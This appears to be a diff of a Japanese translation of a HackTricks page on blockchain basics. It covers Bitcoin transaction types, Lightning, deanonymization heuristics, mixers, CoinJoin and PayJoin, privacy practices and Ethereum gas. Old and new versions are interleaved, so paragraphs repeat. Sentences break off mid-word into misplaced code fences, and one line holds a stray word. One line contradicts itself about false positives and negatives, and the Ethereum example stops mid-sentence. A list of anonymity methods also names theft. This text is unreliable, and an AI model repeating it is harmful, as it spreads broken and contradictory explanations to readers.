- **P2SH: "Pay To Script Hash"**: トランザクションのアウトプットは、特定のパラメータで実行されるスクリプト(この場合、お金を送りたい人がスクリプトを送信する)です。マイナーが提供されたパラメータでアウトプットスクリプトを実行し、`true` になる場合、お金は指定したアウトプットに送信されます。 `P2SH` は、マルチシグウォレットに使用され、トランザクションを受け入れる前に複数の署名をチェックするロジックをアウトプットスクリプトとして作成します。 `P2SH` は、誰でも、または誰でもなく、資金を使えるようにするためにも使用できます。 P2SHトランザクションのアウトプットスクリプトが単に `1` である場合、パラメータを提供せずにアウトプットを使おうとすると、結果は `1` になり、誰でもがお金を使えるようになります。これは、出力が `0` を返すスクリプトにも適用され、誰もがお金を使えなくなります。
|
||||
各ビットコイントランザクションにはいくつかのフィールドがあります:
|
||||
|
||||
* **Inputs**: **ビットコイン**が**転送される**元のアドレスと金額
|
||||
* **Outputs**: 各**転送された**アドレスとそれぞれの金額
|
||||
* **Fee:** トランザクションの**マイナー**に**支払われる**金額
|
||||
* **Script\_sig**: トランザクションのスクリプト署名
|
||||
* **Script\_type**: トランザクションのタイプ
|
||||
|
||||
**2つの主要なタイプ**のトランザクションがあります:
|
||||
|
||||
* **P2PKH: "Pay To Public Key Hash"**: これがトランザクションが行われる方法です。**送信者**に有効な**署名**(秘密キーから)と**公開** **キー**を提供することを要求します。トランザクション出力スクリプトは署名と公開キーを使用し、いくつかの暗号関数を通じて公開キーハッシュと**一致するかどうかをチェックします**。一致する場合、**資金**は**使用可能**になります。この方法は、ハッシュの形で公開キーを隠すことで、追加のセキュリティを提供します。
|
||||
* **P2SH: "Pay To Script Hash":** トランザクションの出力は、**スクリプト**(つまり、このお金を送りたい人がスクリプトを送る)だけです。特定のパラメータで**実行されると、`true`または`false`のブール値になります**。マイナーが提供されたパラメータで出力スクリプトを実行し、`true`になると、**希望する出力にお金が送られます**。`P2SH`は、トランザクションを受け入れる前に複数の署名をチェックする**ロジックを持つマルチシグネチャ**ウォレットに使用されます。`P2SH`はまた、誰でも、または誰も、資金を使うことを許可するために使用することができます。P2SHトランザクションの出力スクリプトが単に`1`で真実である場合、パラメータを提供せずに出力を使おうとすると、単に`1`になり、試みる人なら誰でもお金を使うことができます。これは、`0`を返すスクリプトにも当てはまり、出力を誰にも使えないようにします。
|
||||
|
||||
## ライトニングネットワーク
|
||||
|
||||
このプロトコルは、チャネルへの複数のトランザクションを実行し、最終的な状態をブロックチェーンに保存するだけで送信することを支援します。これにより、ビットコインブロックチェーンのスピードが向上します(1秒あたりの支払いは7回まで)し、チャネルはビットコインブロックチェーンのノードを介して作成されるため、トレースが困難なトランザクションを作成することができます。
|
||||
このプロトコルは、チャンネルに**複数のトランザクションを実行**し、**最終状態だけを**ブロックチェーンに**送信**して保存するのに役立ちます。\
|
||||
これにより、ビットコインブロックチェーンの**速度が向上**します(1秒あたり7回の支払いしか許可されていません)し、チャンネルがビットコインブロックチェーンのノードを介して作成されるため、**トレースがより困難なトランザクションを作成することができます**:
|
||||
|
||||
![](<../../.gitbook/assets/image (611).png>)
|
||||
|
||||
ライトニングネットワークの通常の使用方法は、関連するベースブロックチェーン(レイヤー1)に資金トランザクションをコミットすることによる支払いチャネルの開設、ブロックチェーンにブロードキャストせずにチャネルの資金の仮分配を更新する任意の数のライトニングネットワークトランザクションの作成、オプションで、決済トランザクションの最終バージョンをブロードキャストして支払いチャネルを閉じることです。
|
||||
ライトニングネットワークの通常の使用は、関連する基本ブロックチェーン(レイヤー1)に資金提供トランザクションをコミットすることによって**支払いチャンネルを開く**ことから始まり、その後、**任意の数**のライトニングネットワーク**トランザクション**を行い、それらをブロックチェーンにブロードキャストせずにチャンネルの資金の仮の分配を更新し、オプションで、チャンネルの資金を分配するために**最終版**の決済トランザクションをブロードキャストして支払いチャンネルを閉じます。
|
||||
|
||||
チャネルの両メンバーはいつでも停止し、チャネルの最終状態をブロックチェーンに送信することができることに注意してください。
|
||||
チャンネルの両方のメンバーはいつでも停止し、チャンネルの最終状態をブロックチェーンに送信することができます。
|
||||
|
||||
# ビットコインのプライバシー攻撃
|
||||
# ビットコインプライバシー攻撃
|
||||
|
||||
## 共通のインプット
|
||||
## 共通入力
|
||||
|
||||
理論的には、1つのトランザクションのインプットは異なるユーザーに属する可能性がありますが、実際にはそれは珍しいことです(追加の手順が必要です)。したがって、同じトランザクション内の2つのインプットアドレスは、通常、同じ所有者に属していると推定できます。
|
||||
|
||||
## UTXOの変更アドレスの検出
|
||||
|
||||
**UTXO**は**未使用のトランザクションアウトプット**(UTXO)の略です。前のトランザクションのアウトプットを入力として使用するトランザクションでは、**アウトプット全体を使い切る必要があります**(二重支払い攻撃を防ぐため)。したがって、そのアウトプットからお金の一部をアドレスに送信し、残りのお金を**別の新しいランダムな変更アドレス**に保存する場合、**2つの異なるアウトプット**が表示されます:意図したアウトプットと残りのお金が保存されるランダムな新しい変更アドレス。
|
||||
|
||||
そのため、ウォッチャーは、**生成された新しい変更アドレスがUTXOの所有者に属していると推定**することができます。
|
||||
|
||||
## ソーシャルネットワークとフォーラム
|
||||
|
||||
一部の人々はインターネット上のさまざまなウェブサイトで自分のビットコインアドレスに関するデータを公開しています。**これにより、アドレスの所有者を特定することが非常に簡単になります**。
|
||||
|
||||
## トランザクショングラフ
|
||||
|
||||
トランザクションをグラフで表現することにより、アカウントのお金がどこにあるかをある程度の確率で知ることができます。したがって、ブロックチェーン上で関連する**ユーザー**について何かを知ることができます。
|
||||
|
||||
## 不要なインプットヒューリスティック
|
||||
|
||||
または「最適なおつりヒューリスティック」とも呼ばれます。次のビットコインのトランザクションを考えてみましょう。このトランザクションには、2 BTCと3 BTCの2つのインプットと、4 BTCと1 BTCの2つのアウトプットがあります。
|
||||
理論的には、1つのトランザクションの入力は異なるユーザーに属する可能性がありますが、実際にはそれは通常ではなく、追加のステップが必要です。したがって、非常に頻繁に、**同じトランザクションの2つの入力アドレスが同じ所有者に属していると仮定することができ
|
||||
```
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
仮定すると、出力の1つはおつりであり、もう1つの出力は支払いです。2つの解釈があります:支払いの出力は4 BTCの出力または1 BTCの出力のいずれかです。しかし、1 BTCの出力が支払い金額である場合、3 BTCの入力は不要です。なぜなら、ウォレットは2 BTCの入力のみを使って支払いを行い、より低いマイナー手数料を支払うことができるからです。これは、実際の支払い出力が4 BTCであり、1 BTCがおつりの出力であることを示しています。
|
||||
```markdown
|
||||
支払いとお釣りの出力があると仮定します。2つの解釈があります:支払い出力は4 BTCの出力か1 BTCの出力のどちらかです。しかし、1 BTCの出力が支払い額である場合、3 BTCの入力は不要です。なぜなら、ウォレットは2 BTCの入力のみを使用して支払い、それによりマイナーへの手数料を低く抑えることができたからです。これは、実際の支払い出力が4 BTCであり、1 BTCがお釣りの出力であることを示しています。
|
||||
|
||||
これは、複数の入力を持つトランザクションに対して問題です。このリークを修正する方法の1つは、おつりの出力がどの入力よりも高くなるまで、さらに入力を追加することです。例えば:
|
||||
これは複数の入力があるトランザクションにとって問題です。このリークを修正する方法の一つは、お釣りの出力がどの入力よりも高くなるまで入力を追加することです。例えば:
|
||||
```
|
||||
```
|
||||
2 btc --> 4 btc
|
||||
3 btc 6 btc
|
||||
5 btc
|
||||
```
|
||||
## 強制的なアドレス再利用
|
||||
## 強制アドレス再利用
|
||||
|
||||
**強制的なアドレス再利用**または**インセンティブ付きアドレス再利用**は、敵対者がブロックチェーン上で既に使用されたアドレスにビットコインの(しばしば小額の)支払いを行うことです。敵対者は、ユーザーまたは彼らのウォレットソフトウェアがこれらの支払いを他のアドレスを通じて他のアドレスを明らかにする大きなトランザクションの入力として使用することを期待しています。これらの支払いは、アドレスの所有者を意図しないアドレスの再利用に強制する手段として理解することができます。
|
||||
**強制アドレス再利用**または**インセンティブ付きアドレス再利用**は、敵対者がブロックチェーン上ですでに使用されたアドレスに対して(しばしば少額の)ビットコインを支払う行為です。敵対者は、ユーザーやそのウォレットソフトウェアが**支払いをより大きな取引の入力として使用し、共通入力所有権ヒューリスティックを通じて他のアドレスを明らかにすることを期待しています**。これらの支払いは、アドレス所有者に無意識のアドレス再利用を強制する方法として理解できます。
|
||||
|
||||
この攻撃は、時には**ダスト攻撃**と誤って呼ばれることがあります。
|
||||
この攻撃は時々誤って**ダスト攻撃**と呼ばれます。
|
||||
|
||||
ウォレットの正しい動作は、既に使用された空のアドレスに着地したコインを使わないことです。
|
||||
ウォレットによる正しい行動は、すでに使用され空のアドレスに着陸したコインを使わないことです。
|
||||
|
||||
## その他のブロックチェーン分析
|
||||
|
||||
* **正確な支払額**: おつりのないトランザクションを避けるためには、支払いはUTXOと等しくする必要があります(これは非常に予期しないことです)。したがって、**おつりのないアドレス間の転送である可能性が高い**です。
|
||||
* **丸められた数値**: トランザクションで出力の1つが「**丸められた数値**」である場合、これはおそらくその「丸められた数値」の価格を設定した人への**支払い**であり、他の部分は残りになります。
|
||||
* **ウォレットの指紋認証**: 慎重な分析者は、異なるウォレットソフトウェアが常にまったく同じ方法でトランザクションを作成しないため、特定のトランザクションを作成したソフトウェアを推測することがあります。ウォレットの指紋認証は、おつりの出力を検出するために使用できます。おつりの出力は、同じウォレットの指紋で使われるものです。
|
||||
* **金額とタイミングの相関**: トランザクションを実行した人がトランザクションの**時間**と/または**金額**を公開する場合、それは簡単に**発見可能**です。
|
||||
* **正確な支払額**: おつりが出ないような取引を避けるためには、支払いがUTXOと等しくなければなりません(これは非常に予期せぬことです)。したがって、**おつりのない取引は、同じユーザーの2つのアドレス間の転送である可能性が高い**です。
|
||||
* **丸い数字**: 取引で、出力の一つが"**丸い数字**"である場合、それは**その"丸い数字"の価格を設定した人への支払い**である可能性が高く、他の部分は残りの金額です。
|
||||
* **ウォレットの指紋**: 慎重な分析者は、**異なるウォレットソフトウェアが常に同じ方法で取引を作成するわけではない**ため、特定の取引を作成したソフトウェアを推測することができることがあります。ウォレットの指紋は、おつりの出力を検出するために使用できます。おつりの出力は、同じウォレットの指紋で使われるものです。
|
||||
* **金額とタイミングの相関関係**: 取引を行った人が取引の**時間**と/または**金額**を**公表**すると、それは簡単に**発見可能**です。
|
||||
|
||||
## トラフィック分析
|
||||
|
||||
組織があなたのトラフィックを嗅ぎ取ると、ビットコインネットワークでの通信を見ることができます。\
|
||||
敵対者があなたのノードから出てきたトランザクションまたはブロックを見ると、それが以前に入っていなかったことをほぼ確実に知ることができます。したがって、インターネット接続が関与しているため、敵対者はIPアドレスを発見したビットコイン情報と関連付けることができます。
|
||||
ある組織が**あなたのトラフィックを嗅ぎ取る**と、ビットコインネットワークで通信しているのを見ることができます。\
|
||||
もし敵対者が、以前に入ってこなかったあなたのノードからの取引やブロックが**出ていくのを見た場合**、その取引があなたによって行われたか、またはそのブロックがあなたによって採掘されたことをほぼ確実に知ることができます。インターネット接続が関与しているため、敵対者は**IPアドレスを発見されたビットコイン情報と関連付ける**ことができます。
|
||||
|
||||
インターネットトラフィックをすべて嗅ぎ取ることはできないが、ソースに近づくために**多くのビットコインノード**を持っている攻撃者は、トランザクションまたはブロックを発表しているIPアドレスを知ることができるかもしれません。\
|
||||
また、一部のウォレットは定期的に未確認のトランザクションを再放送するため、ネットワークを広く伝播し、マイニングされる可能性が高くなります。
|
||||
インターネット全体のトラフィックを嗅ぎ取ることができない攻撃者でも、**多くのビットコインノードを持っていて**、**ソースに近づく**ことができれば、取引やブロックをアナウンスしているIPアドレスを知ることができるかもしれません。\
|
||||
また、一部のウォレットは、未確認の取引を定期的に再放送して、ネットワーク全体に広く伝播し、採掘される可能性を高めます。
|
||||
|
||||
## アドレスの所有者に関する情報を見つけるためのその他の攻撃
|
||||
|
||||
その他の攻撃については、[https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy)を参照してください。
|
||||
詳細については[https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy)を読んでください。
|
||||
|
||||
# 匿名ビットコイン
|
||||
|
||||
## 匿名でビットコインを入手する方法
|
||||
## 匿名でビットコインを取得する
|
||||
|
||||
* **現金取引**: 現金でビットコインを購入する。
|
||||
* **現金の代替**: ギフトカードなどを購入し、オンラインでビットコインと交換する。
|
||||
* **マイニング**: マイニングはビットコインを入手する最も匿名性の高い方法です。これは、[マイニングプール](https://en.bitcoin.it/wiki/Pooled\_mining)が一般的にハッシャーのIPアドレスを知っているため、ソロマイニングに当てはまります。
|
||||
* **窃盗**: 理論的には、匿名のビットコインを入手する別の方法は、それらを盗むことです。
|
||||
* **現金取引**: 現金を使用してビットコインを購入します。
|
||||
* **現金代替**: ギフトカードや類似のものを購入し、オンラインでビットコインと交換します。
|
||||
* **マイニング**: マイニングはビットコインを取得する最も匿名の方法です。これは、[マイニングプール](https://en.bitcoin.it/wiki/Pooled\_mining)が一般的にハッシャーのIPアドレスを知っているため、ソロマイニングに適用されます。
|
||||
* **盗難**: 理論的には、別の匿名ビットコインの取得方法はそれらを盗むことです。
|
||||
|
||||
## ミキサー
|
||||
|
||||
ユーザーはビットコインをミキシングサービスに**送信し**、サービスが**異なるビットコインをユーザーに送り返します**(手数料を差し引いたもの)。理論的には、ブロックチェーンを観察している敵対者は、入金と出金のトランザクションを**リンクすることができません**。
|
||||
ユーザーはビットコインをミキシングサービスに**送信し**、サービスは手数料を差し引いた異なるビットコインをユーザーに**返送します**。理論的には、ブロックチェーンを観察する敵対者は、入金と出金の取引を**リンクすることができない**でしょう。
|
||||
|
||||
ただし、ユーザーはミキシングサービスがビットコインを返却し、また受け取ったお金と送金の関係についてログを保存していないことを信頼する必要があります。\
|
||||
ビットコインカジノなどの他のサービスもミキサーとして使用することができます。ここではビットコインを送信し、後で取り戻すことができます。
|
||||
しかし、ユーザーはミキシングサービスがビットコインを返すこと、また受け取ったお金と送ったお金の関係についてログを保存していないことを信頼する必要があります。\
|
||||
ビットコインカジノのような他のサービスもミキサーとして使用できます。そこではビットコインを送信し、後で取り戻すことができます。
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin**は、異なるユーザーの複数のトランザクションを**1つに混ぜ合わせる**ことで、外部の観察者が**どの入力がどの出力に関連しているか**を見つけにくくするためのものです。\
|
||||
これは新たなプライバシーのレベルを提供しますが、**一部のトランザクション**では、一部の入力と出力の金額が相関しているか、他の入力と出力と非常に異なる場合、外部の観察者によって**相関付け**される可能性があります。
|
||||
**CoinJoin**は、異なるユーザーの複数の取引をただ一つに**混ぜ合わせる**ことで、観察者が**どの入力がどの出力に関連しているかを見つけることをより**困難**にします。\
|
||||
これは新しいレベルのプライバシーを提供しますが、入力と出力の金額が相関しているか、他の入力と出力と非常に異なる**一部の取引**は、外部の観察者によって**まだ相関付けられる可能性があります**。
|
||||
|
||||
ビットコインのブロックチェーン上での(おそらく)CoinJoinトランザクションIDの例は、`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`と`85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`です。
|
||||
ビットコインのブロックチェーン上での(おそらく)CoinJoin取引IDの例は`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`と`85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`です。
|
||||
|
||||
[**https://coinjoin.io/en**](https://coinjoin.io/en)\
|
||||
**CoinJoinに似ていますが、より優れており、Ethereumでは**[**Tornado Cash**](https://tornado.cash)**(お金はマイナーから提供されるため、ウォレットに表示されます)。**
|
||||
**CoinJoinに似ていますが、より優れており、イーサリアム用には** [**Tornado Cash**](https://tornado.cash) **があります(お金はマイナーから提供されるので、あなたのウォレットに現れます)。**
|
||||
|
||||
## PayJoin
|
||||
|
||||
前のセクションで議論されたCoinJoinのタイプは、同じ値を持つ複数の出力をチェックすることで簡単に特定できます。
|
||||
前のセクションで議論されたCoinJoinのタイプは、同じ値の複数の出力をチェックすることで簡単に識別できます。
|
||||
|
||||
PayJoin(またはpay-to-end-pointまたはP2EPとも呼ばれる)は、2つの当事者間の特別なCoinJoinのタイプであり、一方の当事者が他方に支払いを行います。そのトランザクションには**同じ値を持つ複数の出力がない**ため、等しい出力のCoinJoinとして明らかに見えません。次のトランザクションを考えてみてください。
|
||||
PayJoin(ペイ・トゥ・エンドポイントまたはP2EPとも呼ばれる)は、一方が他方に支払う2者間の特別なタイプのCoinJoinです。そのため、取引には特徴的な同じ値の複数の出力が**なく**、等価出力のCoinJoinとして明らかには見えません。この取引を考えてみてください:
|
||||
```
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
単純なトランザクションとして解釈することができます。お釣りを払うためにどの出力が支払いであり、どの出力がお釣りであるかという問題は一旦無視します。このトランザクションの別の解釈方法は、2 BTCの入力が商人によって所有され、5 BTCが顧客によって所有されており、このトランザクションは顧客が商人に1 BTCを支払うものであるというものです。これらの2つの解釈のうち、どちらが正しいかはわかりません。その結果、コインジョイントトランザクションが生成され、共通の入力所有ヒューリスティックを破り、プライバシーが向上しますが、通常のビットコインのトランザクションと区別することはできません。
|
||||
```markdown
|
||||
単純な取引として解釈することもできます。これは、おつりが残る支払い(今のところ、どちらのアウトプットが支払いで、どちらがおつりかの問題は無視します)。この取引を別の方法で解釈すると、2 BTCの入力は商人が所有し、5 BTCは顧客が所有しており、この取引により顧客が商人に1 BTCを支払うことになります。これら2つの解釈のどちらが正しいかを知る方法はありません。結果として、コインジョイン取引は一般的な入力所有権のヒューリスティックを破り、プライバシーを向上させますが、**通常のビットコイン取引と区別がつかず、検出もできません**。
|
||||
|
||||
もしPayJoinトランザクションが適度に使用されるようになれば、共通の入力所有ヒューリスティックは実際には完全に間違っていることになります。検出不可能なため、現在それらが使用されているかどうかさえわかりません。トランザクション監視会社は主にそのヒューリスティックに依存しているため、2019年時点ではPayJoinのアイデアに大きな期待が寄せられています。
|
||||
PayJoin取引が中程度に使用されるようになれば、**一般的な入力所有権のヒューリスティックは実際には完全に欠陥があるということになります**。検出できないため、現在使用されているかどうかさえわかりません。取引監視会社はそのヒューリスティックに大きく依存しているため、2019年現在、PayJoinのアイデアについては大きな期待が寄せられています。
|
||||
|
||||
# Bitcoinプライバシーの良い実践方法
|
||||
# Bitcoin プライバシーの良い実践
|
||||
|
||||
## ウォレットの同期
|
||||
|
||||
Bitcoinウォレットは、自分の残高と履歴に関する情報をどうやって取得するかを考えなければなりません。2018年末時点で、最も実用的でプライバシーが高い既存の解決策は、**フルノードウォレット**(最大限のプライバシー)と**クライアントサイドのブロックフィルタリング**(非常に優れている)を使用することです。
|
||||
Bitcoinウォレットは、その残高と履歴に関する情報を何らかの方法で取得する必要があります。2018年後半現在、最も実用的でプライベートな既存のソリューションは、**フルノードウォレット**(最大限にプライベート)と**クライアントサイドブロックフィルタリング**(非常に良い)を使用することです。
|
||||
|
||||
* **フルノード:** フルノードは、ビットコインでこれまでに行われたすべてのオンチェーントランザクションを含むブロックチェーン全体をダウンロードします。したがって、ユーザーのインターネット接続を監視している敵対者は、ユーザーが関心を持っているトランザクションやアドレスを知ることはできません。
|
||||
* **クライアントサイドのブロックフィルタリング:** クライアントサイドのブロックフィルタリングは、ブロック内のすべてのトランザクションのアドレスを含むフィルターを作成することで機能します。フィルターは、要素がセットに含まれているかどうかをテストできます。誤検出は可能ですが、誤検出はありません。軽量ウォレットは、ブロックチェーンのすべてのブロックのすべてのフィルターをダウンロードし、自分自身のアドレスと一致するかどうかをチェックします。一致するトランザクションを含むブロックはピアツーピアネットワークから完全にダウンロードされ、それらのブロックを使用してウォレットの履歴と現在の残高を取得します。
|
||||
* **フルノード:** フルノードは、ビットコインでこれまでに発生したすべてのオンチェーン[トランザクション](https://en.bitcoin.it/wiki/Transaction)を含むブロックチェーン全体をダウンロードします。したがって、ユーザーのインターネット接続を監視している敵は、ユーザーが興味を持っているトランザクションやアドレスを知ることができません。
|
||||
* **クライアントサイドブロックフィルタリング:** クライアントサイドブロックフィルタリングは、ブロック内のすべてのトランザクションの**アドレス**を含む**フィルター**を作成することで機能します。フィルターは**セット内の要素**をテストすることができます。偽陽性はあり得ますが、偽陰性はありません。軽量ウォレットは、ブロックチェーン内のすべてのブロックのフィルターを**ダウンロード**し、自分の**アドレス**との一致をチェックします。一致が含まれるブロックはピアツーピアネットワークから完全にダウンロードされ、これらのブロックを使用してウォレットの履歴と現在の残高を取得します。
|
||||
|
||||
## Tor
|
||||
|
||||
Bitcoinネットワークはピアツーピアネットワークを使用しているため、他のピアはあなたのIPアドレスを知ることができます。これが、ビットコインネットワークとやり取りする際には常にTorを介して接続することをお勧めする理由です。
|
||||
Bitcoinネットワークはピアツーピアネットワークを使用しているため、他のピアがあなたのIPアドレスを知ることができます。これが、**ビットコインネットワークとのやり取りをするたびにTorを介して接続することを推奨する**理由です。
|
||||
|
||||
## アドレスの再利用を避ける
|
||||
|
||||
**アドレスを複数回使用することは、プライバシーに非常に悪影響を与えます。なぜなら、それによって同じエンティティによって作成されたブロックチェーントランザクションがさらにリンクされ、それが証明されるからです**。Bitcoinを使用する最もプライベートで安全な方法は、支払いを行う各個人に対して新しいアドレスを送信することです。受け取ったコインが使われた後は、そのアドレスを再利用しないでください。また、ビットコインを送信する際には、新しいビットコインアドレスを要求する必要があります。すべての優れたビットコインウォレットには、アドレスの再利用を desuお勧めするユーザーインターフェースがあります。
|
||||
**アドレスが複数回使用されることは、それが同じエンティティによって作成された証拠として複数のブロックチェーン取引をリンクするため、プライバシーに非常に損害を与えます**。ビットコインを最もプライベートで安全に使用する方法は、あなたに支払いをする各人に対して**新しいアドレスを送る**ことです。受け取ったコインが使われた後、そのアドレスは二度と使用されるべきではありません。また、ビットコインを送る際には、新しいビットコインアドレスを要求するべきです。すべての良いビットコインウォレットには、アドレスの再利用を抑制するユーザーインターフェースがあります。
|
||||
|
||||
## 複数のトランザクション
|
||||
## 複数の取引
|
||||
|
||||
**1つ以上のオンチェーントランザクションで誰かに支払う**ことは、金額に基づくプライバシー攻撃(金額の相関や丸め数など)の影響を大幅に減らすことができます。たとえば、ユーザーが誰かに5 BTCを支払いたいが、その5 BTCの価値が簡単に検索されることを望まない場合、2 BTCと3 BTCの2つのトランザクションを送信することができます。これらのトランザクションは合計で5 BTCになります。
|
||||
**複数のオンチェーン取引**を使用して誰かに**支払う**ことは、金額相関や丸い数字などの金額ベースのプライバシー攻撃の力を大幅に減らすことができます。たとえば、ユーザーが誰かに5 BTCを支払いたいが、5 BTCの値が簡単に検索されることを望まない場合、2 BTCと3 BTCの値の2つの取引を送信して、合計で5 BTCになるようにすることができます。
|
||||
|
||||
## お釣りの回避
|
||||
## おつりの回避
|
||||
|
||||
お釣りの回避とは、トランザクションの入力と出力を慎重に選択し、お釣りの出力を一切必要としないようにすることです。**お釣りの出力がないことはプライバシーに優れています**。なぜなら、お釣りの検出ヒューリスティックを破るからです。
|
||||
おつりの回避は、取引の入力と出力を慎重に選択して、おつりの出力がまったく必要ないようにすることです。**おつりの出力がないことはプライバシーにとって非常に優れています**。これはおつり検出ヒューリスティックを破ります。
|
||||
|
||||
## 複数のお釣りの出力
|
||||
## 複数のおつり出力
|
||||
|
||||
お釣りの回避ができない場合、**複数のお釣りの出力を作成することでプライバシーを向上**させることができます。これは通常、単一のお釣りの出力しかないと想定しているお釣りの検出ヒューリスティックを破ります。この方法は通常よりも多くのブロックスペースを使用するため、お釣りの回避が望ましいです。
|
||||
おつりの回避が選択肢でない場合、**複数のおつり出力を作成することでプライバシーを向上させる**ことができます。これは通常、単一のおつり出力しかないと仮定するおつり検出ヒューリスティックも破ります。この方法は通常よりも多くのブロックスペースを使用するため、おつりの回避が好ましいです。
|
||||
|
||||
# Monero
|
||||
|
||||
Moneroが開発されたとき、**完全な匿名性**への深刻なニーズを解決し、大いに満たしています。
|
||||
Moneroが開発されたとき、それが解決しようとしたのは**完全な匿名性**の深刻な必要性でした。そして、大きな範囲で、その空白を埋めました。
|
||||
|
||||
# Ethereum
|
||||
|
||||
## ガス
|
||||
## Gas
|
||||
|
||||
ガスとは、Ethereumネットワーク上で特定の操作を実行するために必要な**計算の労力**の単位を指します。ガスはEthereum上でトランザクションを正常に実行するために必要な**手数料**を指します。
|
||||
Gasは、Ethereumネットワークで特定の操作を実行するために必要な**計算** **努力**の**量**を測定する単位を指します。Gasは、Ethereumで**取引**を成功させるために必要な**手数料**を指します。
|
||||
|
||||
ガスの価格は**gwei**で表され、それ自体がETHの単位です。1 gweiは**0.000000001 ETH**(10^-9 ETH)に相当します。たとえば、ガスの費用が0.000000001イーサであると言う代わりに、ガスの費用が1 gweiであると言うことができます。'gwei'という言葉自体は'giga-wei'を意味し、**1,000,000,000 wei**に等しいです。Wei自体が**ETHの最小単位**です。
|
||||
Gas価格は**gwei**で表示され、これはETHの単位です - 各gweiは**0.000000001 ETH**(10-9 ETH)に等しいです。たとえば、ガスが0.000000001イーサであると言う代わりに、ガスが1 gweiであると言うことができます。'gwei'という言葉自体は'giga-wei'を意味し、**1,000,000,000 wei**に等しいです。Wei自体はETHの**最小単位**です。
|
||||
|
||||
トランザクションのガスコストを計算するためには、次の例を参照してください。
|
||||
取引がいくらのガスを費やすかを計算するには、この例を読んでください:
|
||||
|
||||
例えば、JordanがTaylorに1 ETHを支払う必要があります。取引では、ガスリミットは21,000ユニットで、ベース手数料は100 gweiです。Jordanは10 gweiのチップを含めます。
|
||||
|
||||
上記の式を使用して、これを`21,000 * (100 + 10) = 2,310,000 gwei`または0.00231 ETHとして計算できます。
|
||||
|
||||
Jordanがお金を送ると、Jordanのアカウントから1.00231 ETHが差し引かれます。Taylorには1.0000 ETHが入金されます。マイナーは0.00021 ETHのチップを受け取ります。ベース手数料の0.0021 ETHは燃焼されます。
|
||||
|
||||
さらに、Jordanは取引の最大手数料(`maxFeePerGas`)も設定できます。最大手数料と実際の手数料の差額はJordanに返金されます。つまり、`refund = max fee - (base fee + priority fee)`です。Jordanは取引の実行に支払う最大金額を設定し、取引が実行されたときにベース手数料を超えて過払いすることを心配する必要はありません。
|
||||
|
||||
ネットワークがブロックスペースの需要に基づいてベース手数料を計算するため、この最後のパラメータ:maxFeePerGasは、支払われる最大手数料を制御するのに役立ちます。
|
||||
|
||||
## 取引
|
||||
|
||||
**Ethereum**ネットワークでは、取引は2つのアドレス間で行われ、これらは**ユーザーまたはスマートコントラクトのアドレス**であることに注意してください。\
|
||||
**スマートコントラクト**は、**特別な** **取引**を介して分散台帳に格納されます。
|
||||
|
||||
EVMの状態を変更する取引は、ネットワーク全体にブロードキャストする必要があります。任意のノードは、EVMで実行される取引のリクエストをブロードキャストすることができます。これが行われた後、**マイナー**は**取引**を**実行**し、その結果の状態変更をネットワークの残りの部分に伝播します。\
|
||||
取引には**手数料**が必要であり、マイニングされて有効になります。
|
||||
|
||||
提出された取引には以下の情報が含まれます:
|
||||
|
||||
* `recipient` – 受信アドレス(外部所有アカウントの場合、取引は価値を移転します。契約アカウントの場合、取引は契約コードを実行します)
|
||||
* `signature` – 送信者の識別子。これは、送信者の秘密鍵が取引に署名するときに生成され、送信者がこの取引を承認したことを確認します
|
||||
* `value` – 送信者から受信者へのETHの移転量(WEIで、ETHの単位)
|
||||
* `data` – 任意のデータを含めるためのオプションフィールド
|
||||
* `gasLimit` – 取引によって消費されるガスユニットの最大量。ガスのユニットは計算ステップを表します
|
||||
* `maxPriorityFeePerGas` - マイナーへのチップとして含めるガスの最大量
|
||||
* `maxFeePerGas` - 取引に支払う意志のあるガスの最大量(`baseFeePerGas`と`maxPriorityFeePerGas`を含む)
|
||||
|
||||
発信アドレスのフィールドがないことに注意してください。これは、署名から外挿できるためです。
|
||||
|
||||
ジョーダンがテイラーに1 ETHを支払わなければならないとします。トランザクションのガスリミットは21,000ユ
|
||||
# 参考文献
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Proof\_of\_stake](https://en.wikipedia.org/wiki/Proof\_of\_stake)
|
||||
|
@ -254,16 +272,15 @@ Moneroが開発されたとき、**完全な匿名性**への深刻なニーズ
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
他のHackTricksをサポートする方法:
|
||||
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
|
||||
